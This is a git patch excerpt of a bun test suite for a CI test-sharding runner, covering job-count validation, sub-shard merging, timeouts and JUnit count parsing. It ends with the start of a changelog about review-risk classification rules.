FreeShardOutcome => ({ + ...passed(shardFiles, shard), status: 'failed', exitCode: 1, failingFiles: failing, +}); + +function harness(shardFiles: string[], respond: (files: string[]) => FreeShardOutcome | Promise = passed) { + const calls: Array<{ files: string[]; shardNumber: number; totalShards: number; options: RunShardOptions; startedAt: number; endedAt?: number }> = []; + const retries: FreeShardOutcome[][] = []; + const guards: Array<{ files: string[]; shards: number }> = []; + let homeChange: string | null = null; + let terminate = false; + const deps: CiShardDeps = { + async runShard(runFiles, shardNumber, totalShards, options) { + const call: (typeof calls)[number] = { files: runFiles, shardNumber, totalShards, options, startedAt: performance.now() }; + calls.push(call); + await new Promise(resolve => setTimeout(resolve, 20)); + try { return await respond(runFiles); } finally { call.endedAt = performance.now(); } + }, + async retry(outcomes) { + retries.push(outcomes); + return { exitCode: outcomes.every(outcome => outcome.status === 'passed') ? 0 : 1, retry: null }; + }, + pack: (packFiles, count) => Array.from({ length: count }, (_, i) => packFiles.filter((_, j) => j % count === i)), + isSerial: file => file in TREE_MUTATING || file in SLOW_UNDER_LOAD, + terminationRequested: () => terminate, + phaseGuard: (guarded, shards) => { guards.push({ files: guarded, shards }); return { verify: () => homeChange }; }, + log: () => {}, + }; + const plan = { version: 1 as const, revision: 'revision-a', id: 'plan-id-for-tests', shards: [{ shard: 1, files: shardFiles, predictedMs: 0 }] }; + const shard = plan.shards[0]; + const run = (jobs: number) => runCiShard({ plan, shard, revision: 'revision-a', jobs, wallTimeoutMs: 360_000, verbose: false, context }, deps); + return { calls, retries, guards, deps, plan, shard, run, setHomeChange: (value: string) => { homeChange = value; }, cancel: () => { terminate = true; } }; +} + +describe('--jobs validation (FREE_JOBS_INVALID)', () => { + test('accepts positive whole numbers and rejects everything else with the code and the precedence note', () => { + expect(parseJobsFlag('1')).toBe(1); + expect(parseJobsFlag('4')).toBe(4); + for (const raw of ['0', '-1', '2.5', 'abc', '', ' 2', undefined]) { + expect(() => parseJobsFlag(raw)).toThrow(FREE_JOBS_INVALID); + expect(() => parseJobsFlag(raw)).toThrow(/GSTACK_FREE_JOBS sets the local full-suite process count and never changes --ci-run/); + } + }); + + test('--jobs belongs to --ci-run only, and an absent --jobs leaves the parsed options unchanged', () => { + const base = ['--ci-run', 'plan.json', '--shard', '1', '--result', 'r.json']; + expect(parseCliOptions([...base, '--jobs', '4']).jobs).toBe(4); + expect('jobs' in parseCliOptions(base)).toBe(false); + expect(() => parseCliOptions([...base, '--jobs', '0'])).toThrow(FREE_JOBS_INVALID); + expect(() => parseCliOptions([...base, '--jobs'])).toThrow(FREE_JOBS_INVALID); + expect(() => parseCliOptions(['--jobs', '2'])).toThrow(`${FREE_JOBS_INVALID}: --jobs needs --ci-run`); + expect(() => parseCliOptions(['--ci-plan', 'p.json', '--jobs', '2'])).toThrow(FREE_JOBS_INVALID); + }); + + test('k may not exceed the shard file count; an empty shard still takes 1', () => { + expect(() => validateJobsForShard(4, 4, 3)).not.toThrow(); + expect(() => validateJobsForShard(1, 0, 21)).not.toThrow(); + expect(() => validateJobsForShard(5, 4, 3)).toThrow(`${FREE_JOBS_INVALID}: --jobs 5 is more than CI shard 3's 4 file(s); use 1 to 4.`); + expect(() => validateJobsForShard(2, 0, 21)).toThrow(FREE_JOBS_INVALID); + }); +}); + +describe('k = 1 golden: PR 2 changes nothing in CI', () => { + test('one child over the whole planned shard with the same wall, one retry pass, and the same result keys', async () => { + const h = harness(files); + const { result, exitCode } = await h.run(1); + expect(h.calls.map(({ files: f, shardNumber, totalShards, options }) => ({ f, shardNumber, totalShards, options }))).toEqual([ + { f: h.shard.files, shardNumber: 1, totalShards: 1, options: { wallTimeoutMs: 360_000, verbose: false, testCounts: true } }, + ]); + expect(h.guards).toEqual([]); + expect(h.retries).toEqual([[passed(h.shard.files)]]); + expect(h.calls[0].options.wallTimeoutMs).toBe(360_000); + expect(Object.keys(result)).toEqual(['planId', 'revision', 'outcome', 'retry']); + expect(result).toEqual({ planId: h.plan.id, revision: 'revision-a', outcome: passed(h.shard.files), retry: null }); + expect(exitCode).toBe(0); + }); + + test('a k = 1 failure reaches the retry pass as the child reported it', async () => { + const h = harness(files, runFiles => failed(runFiles, [runFiles[0]])); + const { result, exitCode } = await h.run(1); + expect(h.retries).toEqual([[failed(h.shard.files, [h.shard.files[0]])]]); + expect(result.outcome).toBe(h.retries[0][0]); + expect(exitCode).toBe(1); + }); +}); + +describe('sub-shard assignment', () => { + const pack = (packFiles: string[], count: number) => Array.from({ length: count }, (_, i) => packFiles.filter((_, j) => j % count === i)); + + test('disjoint, identity-bound, covering the shard once, with exclusive files in one trailing serial sub-shard', () => { + const shardFiles = [...files, EXCLUSIVE]; + const assignments = assignSubShards('plan-id-for-tests', { shard: 4, files: shardFiles }, 3, file => file in TREE_MUTATING, pack); + expect(assignments.map(entry => [entry.id, entry.phase, entry.files.length])).toEqual([ + ['plan-id-for-:4.1', 'parallel', 3], ['plan-id-for-:4.2', 'parallel', 2], ['plan-id-for-:4.3', 'parallel', 2], ['plan-id-for-:4.4', 'serial', 1], + ]); + expect(assignments.at(-1)!.files).toEqual([EXCLUSIVE]); + expect(assignments.flatMap(entry => entry.files).sort()).toEqual([...shardFiles].sort()); + }); + + test('k is clamped to the parallel file count and a shard of only exclusive files stays one serial child', () => { + expect(assignSubShards('p', { shard: 1, files: files.slice(0, 2) }, 4, () => false, pack).length).toBe(2); + expect(assignSubShards('p', { shard: 1, files: [EXCLUSIVE] }, 1, file => file in TREE_MUTATING, pack) + .map(entry => entry.phase)).toEqual(['serial']); + }); + + test('a packer that drops or repeats a file is rejected before any child starts', () => { + expect(() => assignSubShards('p', { shard: 2, files }, 2, () => false, packFiles => [packFiles, [packFiles[0]]])).toThrow(/FREE_SUBSHARD_REJECTED/); + expect(() => assignSubShards('p', { shard: 2, files }, 2, () => false, packFiles => [packFiles.slice(1)])).toThrow(/exactly once/); + }); +}); + +describe('k > 1: merge, rejection and one retry pass per CI shard', () => { + test('parallel sub-shards share the concurrent home guard, then exclusive files run alone after they settle', async () => { + const h = harness([...files, EXCLUSIVE]); + const { result, exitCode } = await h.run(3); + expect(exitCode).toBe(0); + const parallel = h.calls.filter(call => !call.files.includes(EXCLUSIVE)); + const serial = h.calls.find(call => call.files.includes(EXCLUSIVE))!; + expect(parallel).toHaveLength(3); + expect(parallel.every(call => typeof call.options.homeGuard === 'function')).toBe(true); + expect(serial.options.homeGuard).toBeUndefined(); + expect(serial.files).toEqual([EXCLUSIVE]); + expect(serial.startedAt).toBeGreaterThanOrEqual(Math.max(...parallel.map(call => call.endedAt!))); + expect(h.guards).toEqual([{ files: parallel.flatMap(call => call.files), shards: 3 }]); + expect(h.calls.every(call => call.totalShards === 4)).toBe(true); + expect(parallel.every(call => call.options.wallTimeoutMs === 360_000)).toBe(true); + expect(serial.options.wallTimeoutMs).toBeLessThan(360_000); + expect(serial.options.wallTimeoutMs).toBeGreaterThan(350_000); + expect(result.jobs).toBe(3); + expect(result.outcome).toMatchObject({ shard: 1, files: h.shard.files, status: 'passed', exitCode: 0, failingFiles: [], unattributedFailures: 0, + summary: { testsRan: 16, filesRan: 8, sawTerminalSummary: true } }); + expect(result.subShards!.map(record => record.status)).toEqual(['passed', 'passed', 'passed', 'passed']); + expect(h.retries).toHaveLength(1); + expect(() => verifyFreeCiResults(h.plan, [result])).not.toThrow(); + }); + + test('failures from every sub-shard are collected first, so k never multiplies the five-file retry cap', async () => { + const h = harness(files, runFiles => failed(runFiles, runFiles.slice(0, 2))); + const { result, exitCode } = await h.run(3); + expect(h.retries).toHaveLength(1); + expect(h.retries[0]).toHaveLength(1); + expect(result.outcome.failingFiles).toHaveLength(6); + expect(eligibleFreeRetryFiles(h.retries[0])).toBeNull(); + expect(exitCode).toBe(1); + const spread = harness(files, runFiles => failed(runFiles, runFiles.slice(0, 1))); + await spread.run(3); + expect(eligibleFreeRetryFiles(spread.retries[0])!.sort()).toEqual(spread.calls.map(call => call.files[0]).sort()); + }); + + test('a missing, duplicate or incomplete sub-shard result fails the CI shard and vetoes the retry', async () => { + const errors = spyOn(console, 'error').mockImplementation(() => {}); + try { + const cases: Array<(runFiles: string[]) => FreeShardOutcome | Promise> = [ + runFiles => runFiles.includes(files[0]) ? Promise.reject(new Error('spawn failed')) : passed(runFiles), + runFiles => passed(runFiles.includes(files[0]) ? [...runFiles, files[1]] : runFiles), + runFiles => runFiles.includes(files[0]) ? { ...passed(runFiles), summary: { testsRan: 1, filesRan: runFiles.length - 1, sawTerminalSummary: true } } : passed(runFiles), + runFiles => runFiles.includes(files[0]) ? { ...passed(runFiles), summary: undefined } : passed(runFiles), + ]; + for (const respond of cases) { + errors.mockClear(); + const h = harness(files, respond); + const { result, exitCode } = await h.run(3); + expect(h.calls).toHaveLength(3); + expect(result.outcome.status).toBe('failed'); + expect(result.outcome.unattributedFailures).toBeGreaterThan(0); + expect(eligibleFreeRetryFiles([result.outcome])).toBeNull(); + expect(exitCode).toBe(1); + expect(errors.mock.calls.map(call => String(call[0])).some(line => line.startsWith('[test:free] FREE_SUBSHARD_REJECTED: CI shard 1: plan-id-for-:1.'))).toBe(true); + } + } finally { errors.mockRestore(); } + }); + + test('a failed sub-shard that ran too few or too many files is rejected, so counts cannot cancel and no retry repairs it', async () => { + const errors = spyOn(console, 'error').mockImplementation(() => {}); + try { + const h = harness(files.slice(0, 4), runFiles => ({ ...failed(runFiles, [runFiles[0]]), + summary: { testsRan: 2, filesRan: runFiles.includes(files[0]) ? 1 : 3, sawTerminalSummary: true } })); + const { result } = await h.run(2); + expect(result.outcome.summary!.filesRan).toBe(4); + expect(result.outcome.unattributedFailures).toBeGreaterThanOrEqual(2); + expect(eligibleFreeRetryFiles([result.outcome])).toBeNull(); + const forged: FreeCiResult = { ...result, outcome: { ...result.outcome, unattributedFailures: 0 }, + retry: { ...passed([files[0], files[1]]), shard: 2 } }; + expect(() => verifyFreeCiResults({ ...h.plan, revision: 'revision-a' } as never, [forged])).toThrow(/did not run every assigned file|identity/); + expect(subShardRecordProblems(forged)).toContain('a sub-shard did not run every assigned file'); + } finally { errors.mockRestore(); } + }); + + test('the serial sub-shard gets only what is left of the wall, and none left means it is not launched', async () => { + const errors = spyOn(console, 'error').mockImplementation(() => {}); + try { + const h = harness([...files, EXCLUSIVE], async runFiles => { + if (!runFiles.includes(EXCLUSIVE)) await new Promise(resolve => setTimeout(resolve, 60)); + return passed(runFiles); + }); + const { result } = await runCiShard({ plan: h.plan, shard: h.shard, revision: 'revision-a', jobs: 2, wallTimeoutMs: 50, verbose: false, context }, h.deps); + expect(h.calls.some(call => call.files.includes(EXCLUSIVE))).toBe(false); + expect(result.subShards!.at(-1)).toMatchObject({ status: 'missing', phase: 'serial' }); + expect(result.outcome.status).toBe('failed'); + } finally { errors.mockRestore(); } + }); + + test('a real-home change in the concurrent phase and a cancelled serial phase both fail the shard', async () => { + const errors = spyOn(console, 'error').mockImplementation(() => {}); + try { + const home = harness(files); + home.setHomeChange('real home changed while 3 shards ran concurrently'); + expect((await home.run(3)).result.outcome.status).toBe('failed'); + const cancelled = harness([...files, EXCLUSIVE]); + cancelled.cancel(); + const { result } = await cancelled.run(2); + expect(cancelled.calls.some(call => call.files.includes(EXCLUSIVE))).toBe(false); + expect(result.subShards!.at(-1)).toMatchObject({ status: 'missing', files: [EXCLUSIVE] }); + expect(result.outcome.status).toBe('failed'); + } finally { errors.mockRestore(); } + }); + + test('a sub-shard timeout prints FREE_SUBSHARD_TIMEOUT with the file, k, runner, run id and a serial reproduce', async () => { + const errors = spyOn(console, 'error').mockImplementation(() => {}); + try { + const h = harness(files, runFiles => runFiles.includes(files[3]) + ? { ...failed(runFiles, []), status: 'timed-out', exitCode: null, inFlight: [files[3]] } : passed(runFiles)); + const { result, exitCode } = await h.run(3); + expect(result.outcome.status).toBe('timed-out'); + expect(exitCode).toBe(1); + const text = errors.mock.calls.map(call => String(call[0])).join('\n'); + expect(text).toContain('FREE_SUBSHARD_TIMEOUT: CI shard 1 sub-shard plan-id-for-:1.1 (3 files)'); + expect(text).toContain('hit its 360s wall at --jobs 3 on runner-7 (linux, 8 CPUs), run 123/attempt 2.'); + expect(text).toContain(`in flight: ${files[3]}`); + expect(text).toContain(`printf '%s\\n' '${files[3]}' > files.txt && GSTACK_FREE_JOBS=1 bun run scripts/test-free-shards.ts --files-from files.txt`); + expect(text).toContain("--ci-run 'plan.json' --shard 1 --result shard-1.json --jobs 1"); + expect(text).toContain('add it to SLOW_UNDER_LOAD in scripts/lib/shard-jobs.ts with run id 123/attempt 2; never raise the timeout.'); + } finally { errors.mockRestore(); } + }); + + test('--ci-verify rejects tampered sub-shard records', () => { + const plan = createFreeCiPlan(files, 1, durations, 'revision-a'); + const shard = plan.shards[0]; + const assignments = assignSubShards(plan.id, shard, 2, () => false, packFiles => [packFiles.slice(0, 3), packFiles.slice(3)]); + const merged = mergeSubShardOutcomes(shard, assignments.map(assignment => ({ assignment, outcome: passed(assignment.files) })), 10); + const result: FreeCiResult = { planId: plan.id, revision: 'revision-a', outcome: merged.outcome, retry: null, jobs: 2, subShards: merged.records }; + expect(() => verifyFreeCiResults(plan, [result])).not.toThrow(); + const renamed = structuredClone(result); + renamed.subShards![0].id = 'other:1.1'; + expect(() => verifyFreeCiResults(plan, [renamed])).toThrow(/ids or phases/); + const tooMany = structuredClone(result); + tooMany.jobs = 1; + expect(subShardRecordProblems({ ...tooMany, jobs: 2, subShards: [...tooMany.subShards!, { ...tooMany.subShards![0], id: `${plan.id.slice(0, 12)}:1.3`, files: [] }] })) + .toContain('sub-shard ids or phases do not match the plan and --jobs'); + const overlap = structuredClone(result); + overlap.subShards![1].files = [...overlap.subShards![1].files, overlap.subShards![0].files[0]]; + expect(() => verifyFreeCiResults(plan, [overlap])).toThrow(/sub-shards rejected/); + const hidden = structuredClone(result); + hidden.subShards![0].status = 'failed'; + expect(() => verifyFreeCiResults(plan, [hidden])).toThrow(/a passing shard holds a failed sub-shard/); + expect(() => verifyFreeCiResults(plan, [{ ...result, jobs: 1 }])).toThrow(/valid --jobs/); + }); +}); + +describe('per-file test and expect() counts from bun JUnit', () => { + const xml = (file: string) => ` + + + + + + + + x + +`; + + test('classifies every testcase and sums assertions per file; matches cwd-relative paths back to planned files', () => { + const counts = parseJunitCounts(xml('../../test/a&b.test.ts'), ['test/a&b.test.ts'], 4); + expect(counts).toEqual({ source: 'bun-junit', complete: true, files: { 'test/a&b.test.ts': { tests: 4, pass: 1, fail: 1, skip: 1, todo: 1, expects: 9 } }, + totals: { tests: 4, pass: 1, fail: 1, skip: 1, todo: 1, expects: 9 } }); + }); + + test('an ambiguous short path is never credited to one of two planned files that share it', () => { + const counts = parseJunitCounts(xml('a.test.ts'), ['test/a.test.ts', 'browse/test/a.test.ts'], 4); + expect(counts.complete).toBe(false); + expect(counts.problem).toContain('unplanned'); + }); + + test('an absolute path is credited to the planned file under the root; an unplanned file never borrows a shorter planned path', () => { + const planned = ['test/telemetry.test.ts', 'browse/test/telemetry.test.ts']; + expect(Object.keys(parseJunitCounts(xml('/repo/browse/test/telemetry.test.ts'), planned, 4, '/repo').files)).toEqual(['browse/test/telemetry.test.ts']); + expect(Object.keys(parseJunitCounts(xml('../../repo/test/telemetry.test.ts'), planned, 4, '/repo').files)).toEqual(['test/telemetry.test.ts']); + const borrowed = parseJunitCounts(xml('browse/test/x.test.ts'), ['test/x.test.ts'], 4, '/repo'); + expect(borrowed).toMatchObject({ complete: false, problem: expect.stringContaining('browse/test/x.test.ts') }); + expect(parseJunitCounts(xml('/elsewhere/test/x.test.ts'), ['test/x.test.ts'], 4, '/repo').complete).toBe(false); + }); + + test('the report is read only as a bounded regular file, never through a link or a FIFO', () => { + const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'gstack-junit-')); + try { + fs.writeFileSync(path.join(dir, 'real.xml'), ''); + expect(readJunitReport(path.join(dir, 'real.xml'))).toBe(''); + expect(readJunitReport(path.join(dir, 'absent.xml'))).toBeNull(); + if (process.platform !== 'win32') { + fs.symlinkSync(path.join(dir, 'real.xml'), path.join(dir, 'link.xml')); + expect(readJunitReport(path.join(dir, 'link.xml'))).toBeNull(); + const fifo = Bun.spawnSync(['mkfifo', path.join(dir, 'fifo.xml')], { timeout: 5_000 }); + if (fifo.exitCode === 0) expect(readJunitReport(path.join(dir, 'fifo.xml'))).toBeNull(); + } + } finally { fs.rmSync(dir, { recursive: true, force: true }); } + }); + + test('a missing report, an unplanned file or a count that disagrees with bun summary is incomplete, never silently complete', () => { + expect(parseJunitCounts(null, ['test/a.test.ts'], 4)).toMatchObject({ complete: false, problem: 'bun wrote no JUnit report' }); + expect(parseJunitCounts(xml('test/z.test.ts'), ['test/a.test.ts'], 4)).toMatchObject({ complete: false, problem: expect.stringContaining('unplanned') }); + expect(parseJunitCounts(xml('test/a.test.ts'), ['test/a.test.ts'], 5)).toMatchObject({ complete: false, problem: "JUnit counted 4 tests, bun's summary 5" }); + expect(parseJunitCounts(xml('test/a.test.ts'), ['test/a.test.ts'], null).complete).toBe(false); + }); + + test('real bun children: counts are identical per file at k = 1 and k = 2, add up to bun summary, and leave the stream unchanged', async () => { + const root = fs.realpathSync(fs.mkdtempSync(path.join(os.tmpdir(), 'gstack-shard-jobs-'))); + try { + const fixtures: Record = { + 't/a.test.ts': "import { test, expect } from 'bun:test';\ntest('a1', () => { expect(1).toBe(1); expect(2).toBe(2); });\ntest('a2', () => { expect(3).toBe(3); });\ntest.skip('a3', () => {});\n", + 't/b.test.ts': "import { test, expect, describe } from 'bun:test';\ndescribe('g', () => { test('b1', () => { for (let i = 0; i < 5; i++) expect(i).toBe(i); }); });\ntest.todo('b2');\n", + 't/c.test.ts': "import { test, expect } from 'bun:test';\ntest('c1', () => { expect([1]).toEqual([1]); });\n", + 't/d.test.ts': "import { test, expect } from 'bun:test';\ntest.each([1, 2, 3])('d%p', n => { expect(n).toBeGreaterThan(0); expect(n).toBeLessThan(4); });\n", + }; + for (const [file, body] of Object.entries(fixtures)) { + fs.mkdirSync(path.dirname(path.join(root, file)), { recursive: true }); + fs.writeFileSync(path.join(root, file), body); + } + const planned = Object.keys(fixtures); + const plan = createFreeCiPlan(planned, 1, {}, 'rev'); + const pids: number[] = []; + const deps = (logs: string[]): CiShardDeps => ({ + runShard: async (runFiles, n, total, options) => { + const logFilePath = path.join(root, `stream-${logs.length}-${runFiles.length}-${n}-${total}.log`); + logs.push(logFilePath); + const outcome = await runFreeShard(runFiles, n, total, { ...options, rootDir: root, quiet: true, log: () => {}, logFilePath }); + if (outcome.groupPid) pids.push(outcome.groupPid); + return outcome; + }, + retry: async outcomes => ({ exitCode: outcomes[0].status === 'passed' ? 0 : 1, retry: null }), + pack: (packFiles, count) => Array.from({ length: count }, (_, i) => packFiles.filter((_, j) => j % count === i)), + isSerial: () => false, + terminationRequested: () => false, + log: () => {}, + }); + const input = { plan, shard: plan.shards[0], revision: 'rev', wallTimeoutMs: 60_000, verbose: false, context }; + const serialLogs: string[] = []; + const one = await runCiShard({ ...input, jobs: 1 }, deps(serialLogs)); + const two = await runCiShard({ ...input, jobs: 2 }, deps([])); + expect([one.exitCode, two.exitCode]).toEqual([0, 0]); + const expected = { + 't/a.test.ts': { tests: 3, pass: 2, fail: 0, skip: 1, todo: 0, expects: 3 }, + 't/b.test.ts': { tests: 2, pass: 1, fail: 0, skip: 0, todo: 1, expects: 5 }, + 't/c.test.ts': { tests: 1, pass: 1, fail: 0, skip: 0, todo: 0, expects: 1 }, + 't/d.test.ts': { tests: 3, pass: 3, fail: 0, skip: 0, todo: 0, expects: 6 }, + }; + expect(one.result.outcome.counts).toMatchObject({ complete: true, files: expected, totals: { tests: 9, expects: 15 } }); + expect(two.result.outcome.counts).toEqual(one.result.outcome.counts); + expect(two.result.subShards).toHaveLength(2); + expect(one.result.outcome.summary).toEqual(two.result.outcome.summary); + const bare = await runFreeShard(planned, 1, 1, { rootDir: root, quiet: true, log: () => {}, logFilePath: path.join(root, 'bare.log') }); + expect(bare.counts).toBeUndefined(); + const stream = (file: string) => fs.readFileSync(file, 'utf8').replace(/ \[[\d.]+m?s\]/g, '').split('\n').filter(line => !line.startsWith('[test:free]')); + expect(stream(serialLogs[0])).toEqual(stream(path.join(root, 'bare.log'))); + for (const pid of pids) expect(() => process.kill(pid, 0)).toThrow(); + } finally { fs.rmSync(root, { recursive: true, force: true }); } + }, 60_000); + + test('a hung sub-shard is killed at its wall while its sibling finishes, and no child outlives the parent', async () => { + const root = fs.realpathSync(fs.mkdtempSync(path.join(os.tmpdir(), 'gstack-shard-jobs-'))); + const errors = spyOn(console, 'error').mockImplementation(() => {}); + try { + const planned = ['t/ok.test.ts', 't/hang.test.ts']; + for (const file of planned) { + fs.mkdirSync(path.join(root, 't'), { recursive: true }); + fs.writeFileSync(path.join(root, file), "import { test, expect } from 'bun:test';\ntest('ok', () => { expect(1).toBe(1); });\n"); + } + const plan = createFreeCiPlan(planned, 1, {}, 'rev'); + const outcomes: FreeShardOutcome[] = []; + const startedAt = performance.now(); + const { result } = await runCiShard({ plan, shard: plan.shards[0], revision: 'rev', jobs: 2, wallTimeoutMs: 2_000, verbose: false, context }, { + runShard: async (runFiles, n, total, options) => { + const outcome = await runFreeShard(runFiles, n, total, { ...options, rootDir: root, quiet: true, log: () => {}, + ...(runFiles.includes('t/hang.test.ts') ? { commandFor: () => ({ command: process.execPath, args: ['-e', 'setInterval(() => {}, 1000)'] }) } : {}) }); + outcomes.push(outcome); + return outcome; + }, + retry: async () => ({ exitCode: 1, retry: null }), + pack: packFiles => packFiles.map(file => [file]), + isSerial: () => false, + terminationRequested: () => false, + log: () => {}, + }); + expect(performance.now() - startedAt).toBeLessThan(20_000); + expect(result.outcome.status).toBe('timed-out'); + expect(result.subShards!.map(record => [record.files[0], record.status]).sort()).toEqual([['t/hang.test.ts', 'timed-out'], ['t/ok.test.ts', 'passed']]); + for (const outcome of outcomes) expect(() => process.kill(outcome.groupPid!, 0)).toThrow(); + expect(errors.mock.calls.some(call => String(call[0]).includes('FREE_SUBSHARD_TIMEOUT'))).toBe(true); + } finally { errors.mockRestore(); fs.rmSync(root, { recursive: true, force: true }); } + }, 60_000); +}); + +describe('serial lists and the duration seed', () => { + test('SLOW_UNDER_LOAD entries name live free files, a reason and a CI run id, and never overlap TREE_MUTATING', () => { + const census = new Set(collectFreeTestFiles()); + for (const [file, entry] of Object.entries(SLOW_UNDER_LOAD)) { + expect(census.has(file), `SLOW_UNDER_LOAD names ${file}, which is not a free test file`).toBe(true); + expect(file in TREE_MUTATING).toBe(false); + expect(entry.reason.trim()).not.toBe(''); + expect(entry.runId).toMatch(/^\d+(\/attempt \d+)?$/); + } + }); + + test('seeds take only one-file children; sub-shard runs have no path to the seed writer', () => { + expect(() => assertSoloSeedSample('test/a.test.ts', { files: ['test/a.test.ts'] })).not.toThrow(); + expect(() => assertSoloSeedSample('test/a.test.ts', { files: ['test/a.test.ts', 'test/b.test.ts'] })).toThrow(/one-file serial children/); + expect(() => assertSoloSeedSample('test/a.test.ts', { files: ['test/a.test.ts'], summary: { testsRan: 9, filesRan: 2, sawTerminalSummary: true } })).toThrow(/one-file serial children/); + expect(fs.readFileSync(path.join(ROOT, 'scripts/lib/shard-jobs.ts'), 'utf8')).not.toContain('writeDurationSeed'); + const runner = fs.readFileSync(path.join(ROOT, 'scripts/test-free-shards.ts'), 'utf8'); + const recorder = runner.slice(runner.indexOf('async function recordFreeTestDurations('), runner.indexOf('async function retryFailedFreeFiles(')); + expect(runner.split('writeDurationSeed(').length - 1).toBe(recorder.split('writeDurationSeed(').length - 1); + expect(recorder).toContain('assertSoloSeedSample(file, outcome)'); + }); + + test('the run context names the CI run and attempt, else local', () => { + expect(ciRunContext('p.json', { GITHUB_RUN_ID: '42', GITHUB_RUN_ATTEMPT: '3', RUNNER_NAME: 'ubi-1' })).toMatchObject({ runId: '42/attempt 3', runner: expect.stringMatching(/^ubi-1 \(/) }); + expect(ciRunContext('p.json', {}).runId).toBe('local'); + expect(subShardTimeoutText(2, 4, { id: 'x:2.1', phase: 'parallel', files: ['test/a.test.ts'], status: 'timed-out', exitCode: null, elapsedMs: 1, failingFiles: [], unattributedFailures: 0 }, + [], 10_000, context)[1]).toContain('in flight: unknown'); + const serial = { id: 'x:2.5', phase: 'serial' as const, files: ['test/s.test.ts'], status: 'timed-out' as const, exitCode: null, elapsedMs: 1, failingFiles: [], unattributedFailures: 0 }; + const squeezed = subShardTimeoutText(2, 4, serial, [], 4_000, context, 360_000); + expect(squeezed[0]).toContain('hit its 4s wall'); + expect(squeezed[4]).toContain('left this serial sub-shard 4s of the 360s shard wall'); + expect(subShardTimeoutText(2, 4, serial, [], 360_000, context, 360_000)[4]).toContain('already runs alone'); + }); +}); diff --git a/test/test-free-shards.test.ts b/test/test-free-shards.test.ts index 620fbaf51..3d84740c3 100644 --- a/test/test-free-shards.test.ts +++ b/test/test-free-shards.test.ts @@ -196,7 +196,7 @@ describe('test-free-shards: exclusive host-state phase', () => { let child: ReturnType | undefined; let watchdog: ReturnType | undefined; try { - for (const file of ['scripts/test-free-shards.ts', 'scripts/test-strict-output.ts', 'scripts/lib/shard-engine.ts', 'scripts/lib/free-home-guard.ts', 'scripts/lib/free-ci-health.ts', 'scripts/lib/windows-curation.ts', 'lib/state-root.ts', + for (const file of ['scripts/test-free-shards.ts', 'scripts/test-strict-output.ts', 'scripts/lib/shard-engine.ts', 'scripts/lib/free-home-guard.ts', 'scripts/lib/free-ci-health.ts', 'scripts/lib/windows-curation.ts', 'scripts/lib/shard-jobs.ts', 'lib/state-root.ts', 'test/helpers/paid-test-set.ts', 'test/helpers/touchfiles.ts', 'test/helpers/touchfiles-data.ts', 'test/helpers/test-selection.ts']) { const target = path.join(directory, file); fs.mkdirSync(path.dirname(target), { recursive: true }); diff --git a/test/ubicloud-pregate-remote.test.ts b/test/ubicloud-pregate-remote.test.ts index 2263b617a..79afd1296 100644 --- a/test/ubicloud-pregate-remote.test.ts +++ b/test/ubicloud-pregate-remote.test.ts @@ -20,7 +20,7 @@ afterAll(() => fs.rmSync(SCRATCH, { recursive: true, force: true })); const COPIED = ['scripts/ubicloud/pregate-remote.sh', 'bin/gstack-wtree', 'bin/gstack-path-spelling.sh', 'scripts/test-free-shards.ts', 'scripts/test-strict-output.ts', 'scripts/lib/shard-engine.ts', 'scripts/lib/free-home-guard.ts', - 'scripts/lib/free-ci-health.ts', 'scripts/lib/windows-curation.ts', 'lib/state-root.ts', 'test/helpers/paid-test-set.ts', + 'scripts/lib/free-ci-health.ts', 'scripts/lib/windows-curation.ts', 'scripts/lib/shard-jobs.ts', 'lib/state-root.ts', 'test/helpers/paid-test-set.ts', 'test/helpers/touchfiles.ts', 'test/helpers/touchfiles-data.ts', 'test/helpers/test-selection.ts']; const TESTS: Record = { 'test/alpha.test.ts': "import { expect, test } from 'bun:test';\ntest('alpha', () => { expect(1).toBe(1); });\n", From dd9834d44d2650818cb6d8e17c57f795cb56bf98 Mon Sep 17 00:00:00 2001 From: Garry Tan Date: Sun, 1 Nov 2026 21:53:59 -0800 Subject: [PATCH 5/7] v1.92.61.0 fix(ship): risk classes cover outbound clients, archives, child_process and metering (GST-850) (#3829) * WIP GST-850: allowlist docs paths, security and money classes (pins not yet repinned; review pending) Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com> * GST-850: repin review-depth, review-risk and review-allowlist under the GST-850 no-loss replay Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com> * GST-850: round-1 review fixes (locale admission, SVG comments and interpolation, escapes, YAML types, linear import scan) Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com> * GST-850: choice A, drop the allowlist docs paths (UI text and SVGs stay code); repin under GST-850 Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com> * GST-850 B+: coarse linear security rules (child_process module line, any outbound client call), drop stale docs paragraph; repin Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com> * GST-850 B: narrow the linear-time claim to the new rules; hostile anchor-run inputs for every new pattern Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com> --------- Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com> --- CHANGELOG.md | 8 + VERSION | 2 +- agents-digest/gstack-AGENTS.md | 2 +- docs/review-policy.md | 30 ++- lib/review-collect.ts | 17 +- lib/review-depth.ts | 4 +- lib/review-risk.ts | 41 +++- lib/review-targeted.ts | 4 +- package.json | 2 +- .../review-risk/gbrain-evals-289.json | 139 ++++++++++++++ test/helpers/free-fixtures-data.ts | 1 + test/review-packets-removed.test.ts | 5 +- test/review-risk-linear.test.ts | 66 +++++++ test/review-risk-routing.test.ts | 180 ++++++++++++++++++ 14 files changed, 471 insertions(+), 30 deletions(-) create mode 100644 test/fixtures/review-risk/gbrain-evals-289.json create mode 100644 test/review-risk-linear.test.ts diff --git a/CHANGELOG.md b/CHANGELOG.md index 3832a0570..6943bc2b7 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,5 +1,13 @@ # Changelog +## [1.92.61.0] - 2026-11-02 + +- **The security class reaches outbound URLs, archives and every `child_process` spelling** (GST-850). `lib/review-risk.ts` now flags any call to an outbound HTTP client (`fetch`, `http(s).get` or `.request`, axios, got, undici, `requests`, `httpx`, urllib), `new URL` from input, redirect toggles, proxy settings and host allowlists; tar, zip and unzip extraction, `path.join` or `resolve` on request or entry input, and `'..'` checks; and any changed line that names the `child_process` module. The new rules parse no import clause or call arguments, and a test holds each under 100 ms on 200,000-character hostile lines. +- **The money class reads metering and charge code.** Paths and lines naming meter, metering, metered, charge, 